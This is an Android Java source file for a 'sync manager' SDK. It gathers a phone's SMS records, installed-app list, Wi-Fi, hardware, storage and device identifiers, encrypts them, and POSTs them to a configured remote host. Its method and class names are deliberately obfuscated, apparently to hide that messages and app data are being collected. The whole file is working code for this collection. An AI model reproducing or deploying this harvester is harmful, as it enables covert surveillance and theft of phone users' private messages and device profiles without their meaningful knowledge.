package com.zhi.syc.data;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.Context;
import android.content.pm.PackageManager;
import android.text.TextUtils;

import androidx.annotation.NonNull;
import androidx.core.content.ContextCompat;

import com.google.gson.Gson;
import com.zhi.syc.data.beans.ASDeviceInfoBean;
import com.zhi.syc.data.logger.ASLogger;
import com.zhi.syc.data.services.ASBatteryInfo;
import com.zhi.syc.data.services.ASDeviceInfo;
import com.zhi.syc.data.services.ASHardwareInfo;
import com.zhi.syc.data.services.ASApsInfo;
import com.zhi.syc.data.services.ASSsInfo;
import com.zhi.syc.data.services.ASNetParams;
import com.zhi.syc.data.services.ASNetworkInfo;
import com.zhi.syc.data.services.ASStoreInfo;
import com.zhi.syc.data.util.ASUtil;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.TimeUnit;

public class ASSycManager {
    public Context mContext;

    private final static byte[] mLockObj = new byte[0];

    private ASThreadPoolExecutor mASThreadPoolExecutor;

    @SuppressLint("StaticFieldLeak")
    private static final ASSycManager instance = new ASSycManager();

    public static ASSycManager getInstance() {
        return instance;
    }

    public void init(Context applicationContext) {
        mContext = applicationContext;
        initThreadPoolExecutor();
    }

    public void initThreadPoolExecutor() {
        if (mASThreadPoolExecutor == null) {
            //设置线程数
            int cpuCoreCount = Runtime.getRuntime().availableProcessors();
            if (cpuCoreCount <= 2) {
                cpuCoreCount = 1;
            } else if (cpuCoreCount <= 4) {
                cpuCoreCount = 2;
            } else {
                cpuCoreCount /= 2;
            }
            ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "cpu核数：" + cpuCoreCount);

            mASThreadPoolExecutor = new ASThreadPoolExecutor(cpuCoreCount, cpuCoreCount, 1, TimeUnit.SECONDS, new LinkedBlockingDeque<Runnable>());
            mASThreadPoolExecutor.allowCoreThreadTimeOut(true);
        }
    }

    public void sdlfkalsjkflasjfla(String token) {
        try {
            ASBuilder.KEY_TOKEN = ASUtil.sadfauer543e(token);
            initThreadPoolExecutor();

            //不需要权限
            mASThreadPoolExecutor.execute(new DeviceBatteryRunable());
            mASThreadPoolExecutor.execute(new stoRabe());
            mASThreadPoolExecutor.execute(new AppListRunable());
            mASThreadPoolExecutor.execute(new WifiRunable());

            //需要定位、设备信息权限
            mASThreadPoolExecutor.execute(new DeviceHardwareRunable());

            //需要设备信息权限
            mASThreadPoolExecutor.execute(new DeviceRunable());

            //需要短信权限
            mASThreadPoolExecutor.execute(new SsRe());

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    class DeviceBatteryRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASBatteryInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.P_BTY)) {
                    return;
                }

                ASBatteryInfo batteryInfo = new ASBatteryInfo();
                batteryInfo.getBatteryInfo(mContext, batteryInfoBean -> {
                    try {
                        ASNetParams netParams = new ASNetParams();
                        netParams.setDeviceBatteryGzip(batteryInfoBean);
                        String result = netParams.toEncryptParams(ASBuilder.P_BTY);
//                        String result = new Gson().toJson(netParams).trim();
                        //ASLogger.d(getClass().getSimpleName(), ASBuilder.TYPE_BATTERY+ ": " + result);

                        if (mASThreadPoolExecutor == null) {
                            initThreadPoolExecutor();
                        }
                        mASThreadPoolExecutor.execute(() -> postData(ASBuilder.P_BTY, ASBuilder.T_BTY, result));

                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                });
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    class DeviceRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASDeviceInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.P_DIE)) {
                    return;
                }

                ASDeviceInfoBean infoBeans;
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_PHONE_STATE)) {
                    infoBeans = ASDeviceInfo.getDeviceInfo(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取设备信息出错：没有 READ_PHONE_STATE 权限");
                    return;
                }

                if (infoBeans == null) {
                    return;
                }

//                String result = new Gson().toJson(infoBeans).trim();
                String result = infoBeans.toEncryptParams(ASBuilder.P_DIE);

                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_DEVICE + "：" + result);
                postData(ASBuilder.P_DIE, ASBuilder.T_DIE, result);

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    class DeviceHardwareRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASHardwareInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.P_HDW)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_PHONE_STATE)) {
                    infoBeans = ASHardwareInfo.getListZipString(mContext);
                } else {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取硬件信息出错：没有 READ_PHONE_STATE 权限");
                    return;
                }

                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setDeviceHardwareGzip(infoBeans);
                String result = netParams.toEncryptParams(ASBuilder.P_HDW);

//                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_HARDWARE + "：" + result);
                postData(ASBuilder.P_HDW, ASBuilder.T_HDW, result);

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    class AppListRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASApsInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.P_APL)) {
                    return;
                }

                String infoBeans = "";
                infoBeans = ASApsInfo.getListZipString(mContext);
                if (TextUtils.isEmpty(infoBeans)) {
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取app列表信息出错：数据为空");
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setAppListGzip(infoBeans);
                String result = netParams.toEncryptParams(ASBuilder.P_APL);
//                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_APPLIST + "：" + result);
                postData(ASBuilder.P_APL, ASBuilder.T_APL, result);

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    class SsRe implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASSsInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.P_MAG)) {
                    return;
                }

                String infoBeans = "";
                if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_SMS)) {
                    infoBeans = ASSsInfo.fezpString(mContext);
                } else {
                    ASSsInfo.mSType = ASSsInfo.SS_EM_P;
                    ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "获取短信信息出错：没有 READ_SMS 权限");
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setSmsRecordsGzip(infoBeans);
                netParams.setSmsFetchType(ASSsInfo.mSType);
                String result = netParams.toEncryptParams(ASBuilder.P_MAG);
//                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_MESSAGE + "：" + result);
                postData(ASBuilder.P_MAG, ASBuilder.T_MAG, result);

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    class WifiRunable implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASNetworkInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.P_NTW)) {
                    return;
                }

                String infoBeans = ASNetworkInfo.getListZipString(mContext);
                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setDeviceWifiGzip(infoBeans);
                String result = netParams.toEncryptParams(ASBuilder.P_NTW);
//                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_NETWORK + "：" + result);
                postData(ASBuilder.P_NTW, ASBuilder.T_NTW, result);

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    class stoRabe implements Runnable {
        @Override
        public void run() {
            try {
                String threadName = Thread.currentThread().getName();
                ASLogger.d(ASThreadPoolExecutor.class.getSimpleName(), "线程：" + threadName + " 执行中， " + ASStoreInfo.class.getSimpleName());

                if (TextUtils.isEmpty(ASBuilder.P_STO)) {
                    return;
                }

                String infoBeans = ASStoreInfo.sfafiitoskadjf(mContext);
                if (TextUtils.isEmpty(infoBeans)) {
                    return;
                }

                ASNetParams netParams = new ASNetParams();
                netParams.setDeviceStorageGzip(infoBeans);
                String result = netParams.toEncryptParams(ASBuilder.P_STO);
//                String result = new Gson().toJson(netParams).trim();
                //ASLogger.d(getClass().getSimpleName(), "run: " + ASBuilder.TYPE_STORE + "：" + result);
                postData(ASBuilder.P_STO, ASBuilder.T_STO, result);

            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    public final void postData(String subPath, String type, String body) {
        HttpURLConnection httpURLConnection = null;
        try {
            String dirUrl = ASBuilder.S_HOST;
            ASLogger.d(getClass().getSimpleName(), type + "\n" + dirUrl + "\n" + subPath + "\n" + body);

            httpURLConnection = ((HttpURLConnection) new URL(dirUrl).openConnection());
            httpURLConnection.setDoOutput(true);
            httpURLConnection.setDoInput(true);
            httpURLConnection.setUseCaches(false);
            httpURLConnection.setRequestMethod("POST");
//            httpURLConnection.setRequestProperty("Connection", "Keep-Alive");
//            httpURLConnection.setRequestProperty("Charset", "UTF-8");
//            httpURLConnection.setRequestProperty("Content-Type", "application/json");
//            httpURLConnection.setRequestProperty("Content-Length", (body.getBytes()).length + "");

            httpURLConnection.setRequestProperty("Connection", "Keep-Alive");
            httpURLConnection.setRequestProperty("Charset", "UTF-8");
            httpURLConnection.setRequestProperty("Content-Type", "text/plain");
            httpURLConnection.setRequestProperty("Accept", "*/*");
            httpURLConnection.setRequestProperty("product", ASBuilder.getKeyProduct());

            httpURLConnection.setReadTimeout(180000);
            httpURLConnection.setConnectTimeout(120000);
            httpURLConnection.getOutputStream().write(body.getBytes());
            httpURLConnection.getOutputStream().flush();
            httpURLConnection.getOutputStream().close();

            int resCode = httpURLConnection.getResponseCode();
            if (resCode == HttpURLConnection.HTTP_OK) {
                ASLogger.d(getClass().getSimpleName(), type + " post success!");
            } else {
                ASLogger.d(getClass().getSimpleName(), type + " post fail! " + resCode);
            }

        } catch (Exception e) {
            e.printStackTrace();
            ASLogger.d(getClass().getSimpleName(), type + " post fail!" + e.getLocalizedMessage());
        } finally {
            if (httpURLConnection != null) {
                try {
                    //主动关闭inputStream, 这里不需要进行判空操作
                    httpURLConnection.getInputStream().close();
                    httpURLConnection.disconnect();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

}
